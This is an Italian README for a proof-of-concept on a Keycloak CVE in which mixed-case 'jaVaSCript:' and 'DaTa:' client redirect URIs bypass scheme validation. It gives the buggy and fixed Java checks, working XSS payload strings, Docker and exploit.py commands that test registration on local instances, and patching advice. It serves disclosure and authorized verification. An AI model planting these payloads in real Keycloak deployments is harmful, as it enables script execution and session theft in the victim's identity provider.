
CVE-2026-9086 proof-of-concept per il bypass della convalida dell'URI del client Keycloak tramite payload XSS `javascript:` e `data:` con maiuscole/minuscole miste, con verifica basata su Docker delle versioni vulnerabile e corretta.
Questo repository è un Proof of Concept (PoC) della vulnerabilità Cross-Site Scripting (XSS) CVE-2026-9086 presente nella validazione degli URI dei client di Keycloak.
La versione vulnerabile di Keycloak convalidava gli schemi javascript: e
data: degli URI configurati sui client distinguendo tra maiuscole e minuscole. Di conseguenza,
usando notazioni miste come jaVaSCript: o DaTa:, è possibile aggirare la convalida
degli schemi vietati. Poiché il browser interpreta gli schemi URI senza distinguere
tra maiuscole e minuscole, se la vittima clicca un link appositamente predisposto,
JavaScript potrebbe essere eseguito nell'origine di Keycloak.
Questo PoC avvia con Docker Keycloak 26.6.3 (versione vulnerabile) e 26.6.4 (versione corretta) e registra lo stesso URI in notazione mista tramite l'Admin REST API. Verifica che la registrazione avvenga con successo nella versione vulnerabile e venga rifiutata con HTTP 400 in quella corretta.
Questo PoC non apre l'URI registrato nel browser e non esegue JavaScript.
Questo progetto ha il solo scopo di istruzione e di verifica di sicurezza autorizzata. Non utilizzarlo per verifiche non autorizzate su ambienti Keycloak di terzi. L'autore non si assume alcuna responsabilità per usi impropri, danni o attività illegali derivanti dall'uso di questo strumento.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client o accesso all'endpoint di registrazione dei clientIl DefaultClientValidationProvider precedente alla correzione confrontava gli schemi vietati usando
String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
Poiché java.net.URI#getScheme() preserva le maiuscole/minuscole dell'input, i seguenti URI
non corrispondono al confronto e superano la validazione.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
Nella versione corretta viene usato equalsIgnoreCase().
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Avvia la versione vulnerabile e quella corretta con Docker Compose.
docker compose up -d
Servizi avviati:
| URL | Versione | Risultato atteso |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | Registrazione URI riuscita (vulnerabile) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (corretto) |
Il primo avvio richiede un po' di tempo. Puoi controllare lo stato con il seguente comando:
docker compose logs -f
Quando in entrambi i log compare Listening on, termina la visualizzazione dei log con Ctrl+C.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Output atteso:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
Lo script recupera nuovamente il client creato tramite l'Admin API e verifica anche che l'URI appositamente predisposto sia stato salvato.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Output atteso:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:Specificando --scheme data, puoi verificare URI DaTa: in notazione mista.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py esegue solo le seguenti operazioni:
admin-clijaVaSCript: o DaTa: in notazione mista in redirectUris/admin/realms/master/clientsNon avvia il browser, non passa all'URI registrato e non esegue JavaScript.
Aggiorna Keycloak 26.6.x alla 26.6.4 o successiva e Red Hat build of Keycloak 26.4.x alla 26.4.13 o successiva.
Inoltre, verifica le configurazioni URI dei client esistenti e rimuovi tutti i valori che utilizzano
javascript: o data:, indipendentemente da maiuscole e minuscole.
Limita inoltre il privilegio manage-client e l'accesso all'endpoint di registrazione dei client al minimo
necessario.